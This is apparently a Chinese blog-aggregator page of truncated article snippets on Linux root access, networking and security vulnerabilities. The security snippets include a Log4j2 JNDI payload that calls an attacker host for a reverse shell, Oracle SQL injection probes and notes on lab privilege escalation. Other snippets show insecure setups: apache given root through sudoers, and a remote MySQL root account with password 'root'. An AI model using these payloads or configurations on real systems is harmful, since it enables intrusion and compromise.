漏洞 主机root flag
linux 非root用启动80端口
有些服务如果需要使用小于1433的端口号，就需要有root权限，这样会有安全问题，此时可以利用iptables的端口重定向功能来实现这个目的。如下例，访问目标主机的80端口，即是访问其8080端口： iptables -t nat -A PREROUTING -p tcp --dport 80 -j ......
极路由HC5861B强开ROOT刷Bread刷第三方固件
极路由折腾记录官网已经倒闭, 如何ROOT设备?刷Bread刷固件参考资料:TOC 极路由折腾记录 "board": "HC5861B" 官网已经倒闭, 如何ROOT设备? 极路由ROOT local-ssh利用工具 http://192.168.199.1/local-ssh/ 得到local_t ......
04_靶机Kioptrix1.2：CMS漏洞利用，使用ht编辑器修改sudoers文件提权，mysql查询
发现主机后进行目录扫描，发现登录口标注了CMS的版本，查看该类型CMS有没有漏洞，针对漏洞去github搜索脚本，拿到脚本后运行得到靶机的初级Shell,根据靶机内的文件内容指示使用ht编辑器，利用编辑器去修改用户的权限然后提权，拿到root权限结束 ......
简单介绍TensorFlow中关于tf.app.flags命令行参数解析模块
导读 这篇文章主要介绍了TensorFlow中关于tf.app.flags命令行参数解析模块，具有很好的参考价值，希望对大家有所帮助。如有错误或未考虑完全的地方，望不吝赐教 tf.app.flags命令行参数解析模块 说道命令行参数解析，就不得不提到 python 的 argparse 模块，详情可 ......
简单介绍TensorFlow中关于tf.app.flags命令行参数解析模块
这篇文章主要介绍了TensorFlow中关于tf.app.flags命令行参数解析模块，具有很好的参考价值，希望对大家有所帮助。如有错误或未考虑完全的地方，望不吝赐教 tf.app.flags命令行参数解析模块 说道命令行参数解析，就不得不提到 python 的 argparse 模块，详情可参考我 ......
简单介绍TensorFlow中关于tf.app.flags命令行参数解析模块
这篇文章主要介绍了TensorFlow中关于tf.app.flags命令行参数解析模块，具有很好的参考价值，希望对大家有所帮助。如有错误或未考虑完全的地方，望不吝赐教 tf.app.flags命令行参数解析模块 说道命令行参数解析，就不得不提到 python 的 argparse 模块，详情可参考我 ......
sudo: unable to change to root gid: Operation not permitted
出现这个问题可能是使用了游客登录 将guest游客切换为普通用户 切换方法： ......
本地Linux主机使用SFTP上传文件到Linux云服务器_弹性云服务器 ECS
本地Linux主机使用SFTP上传文件到Linux云服务器_弹性云服务器 ECS_ 文件上传_ (dawuzhe.cn) 更新时间：2020/12/15 GMT+08:00 操作场景 本节操作以CentOS操作系统为例，介绍配置SFTP、使用SFTP上传或下载文件、文件夹的操作步骤。 操作步骤 以r ......
ubuntu16 共享主机的文件夹（实测有效）
1、主机VM软件开启共享文件夹 1）进入：虚拟机》设置》选项》共享文件夹 2）选择总是启用》点击添加》选择一个主机目录 3）保存目录》下一步》启用此共享》完成 2、ubuntu安装vmtools 1）下载包：进入：虚拟机》重新安装vmtools （如果是灰色的，进入虚拟机设置，启动项改为物理驱动，如 ......
使用vSphere Update Manager 升级 ESXi 主机
使用vSphere Update Manager 升级 ESXi 主机 vSphere Update Manager vSphere Update Manager 是用于升级、迁移、更新和修补群集主机、虚拟机和客户机操作系统的软件。 vSphere Update Manager 可协调主机和虚拟机的 ......
局域网主机共享单个公网IP地址接入Internet（SNAT）
SNAT策略的原理 源地址转换，Source Network Address Translation 修改数据包的源IP地址 1.准备一台局域网里的主机做客户机，配置好ip、子网掩码，网关，dns服务器地址 局域网各主机正确设置IP地址/子网掩码 局域网各主机正确设置默认网关地址/dns服务器地址 ......
jenkins给加到root组中
#查看所有组 cat /etc/group #加入到root组中 sudo usermod -aG root jenkins #加入到docker组中 sudo usermod -aG docker jenkins #查看用户所在组信息 groups jenkins #重启jenkins使其生效 s ......
Linux忘记root密码的处理办法
1.开机选项界面按e进行内核信息编辑界面 2.在以linux16开头的行末添加rb.break后，按crtl+x进入单用户模式 3.以可读写方式重新挂载系统文件 mount -o remount,rw /sysroot 4.访问系统，chroot就是Change Root,也就是改变程序执行时所参考 ......
log4j2漏洞复现
【1】漏洞原理：Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议 即可)【2】复现：（1）启动靶场环境：（2）反弹shell：http://靶机ip:8983/solr/admin/cores?action=${jndi:ldap://攻击机ip:1389/Ba ......
《渗透测试》WEB攻防-通用漏洞&SQL注入&Sqlmap&Oracle&Mongodb&DB2等 2022 Day26
#Oracle 参考：https://www.cnblogs.com/peterpan0707007/p/8242119.html 测回显：and 1=2 union select '1','2' from dual 爆库：and 1=2 union select '1',(select table ......
单用户模式进centos系统修改root密码
为虚拟机 server 重设管理密码 1)重启系统,进入 recovery 恢复模式 在读秒时候按e键，找到 linux16 行，按键盘End 末尾添加空格 rd.break console=tty0 按 ctrl + x 启动 2)以可写方式重新挂载 /sysroot,并切换到此环境 switch ......
Ansible_Playbook-统一为目标主机创建research逻辑卷
实验目标 在自建环境中能够测试RHCE磁盘管理题目 在部分主机上做特殊处理，使得自己练习环境与实际环境相似 实验环境 ansible配置文件 [defaults] inventory=./inventory remote_user=rhce ask_pass=false roles_path=./r ......
Docker API 未授权访问漏洞
因为docker赋有远程的远程控制，docker开放了一个tcp端口2375，如果没有限制访问的话，攻击者就会通过这个端口来通过docker未授权来获取服务器权限。 ......
数仓安全测试之SSRF漏洞
摘要：SSRF (Server-Side Request Forgery，服务器端请求伪造)是指由攻击者构造请求，然后利用服务器的漏洞以服务端的身份向内网发送请求对内网发起攻击。 本文分享自华为云社区《GaussDB(DWS)安全测试之SSRF漏洞》，作者： ACBD。 1. 什么是SSRF漏洞 S ......
Linux 如何判断当前程序是否为root启动？
需求 Linux程序中，常有这样的需求：判断当前程序是否为root权限启动。如果是，正常运行；如果不是，则打印日志，退出程序。 root用户特点 要判断是否为root权限启动，可以先看看root用户特点。root用户典型特点：UID（用户id）为0，GID（组id）为0。 每个用户有对应唯一UID值 ......
Debian Mysql8.0 重设Root密码
安装完Mysql之后 在/etc/mysql/文件夹有一个debian.cnf文件. 文件内显示他的内置一个账号和密码, 我们可以使用他来登入; 注意: 在这里之前你需要将mysql服务关闭, sudo systemctl stop mysql 然后使用 sudo systemctl status ......
Linux系列---【桥接、NAT和仅主机三种网络模式的区别】
#桥接、NAT和仅主机三种网络模式的区别 ##1.桥接模式 把虚拟出来的网卡直接连接路由器，此时虚拟机和宿主机相对于路由器来说是有两台独立ip的物理机直接连接，宿主机和虚拟机间是兄弟关系。 ##2.NAT模式 在宿主机中创建一个子网，虚拟机放在子网中，子网中有一个NAT服务，此时虚拟机和宿主机相对路 ......
ubuntu 20.04 设置允许root登录
Ubuntu默认不设置 root 帐户和密码。如有需要，可在设置中开启允许 root 用户登录。具体操作步骤如下： 问题描述 Invalid/incorrect password: Warning: Permanently added '192.168.1.156' (ECDSA) to the l ......
PfSense pfBlockerNG 未授权RCE漏洞（CVE-2022-31814）
PfSense pfBlockerNG 未授权RCE漏洞（CVE-2022-31814） 概述 PfSense系统的插件pfBlockerNG引起的未授权RCE漏洞 pfSense是一个基于FreeBSD操作系统开发的防火墙和路由器软件 FreeBSD 是一种类UNIX操作系统 pfBlockerN ......
让apache用户拥有root权限
由于php用户默认以apache用户运行，这就可能导致上传图片或者创建文件权限不足的问题， 虽然可以 chown -R apache:apache 文件夹 永久做法： 修改/etc/sudoers文件，快捷命令为visudo ## Allow root to run any commands any ......
[MySQL] 给root用户设置权限
mysql> CREATE USER 'root'@'%' IDENTIFIED BY 'root'; mysql> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION; ......
nginx里面的路径定位关键词root、alias
nginx里面的路径定位关键词root、alias是有区别的：设置请求资源的目录root / alias root：设置请求的根目录 语法 root path; 默认值 root html; 位置 http、server、location path为Nginx服务器接收到请求以后查找资源的根目录路径 ......
关于Intent flag : Intent.FLAG_ACTIVITY_NEW_TASK
关于Intent flag : Intent.FLAG_ACTIVITY_NEW_TASK 1. 在Activity上下文之外启动Activity需要给Intent设置FLAG_ACTIVITY_NEW_TASK标志，不然会报异常。2. 加了该标志，如果在同一个应用中进行Activity跳转，不会创 ......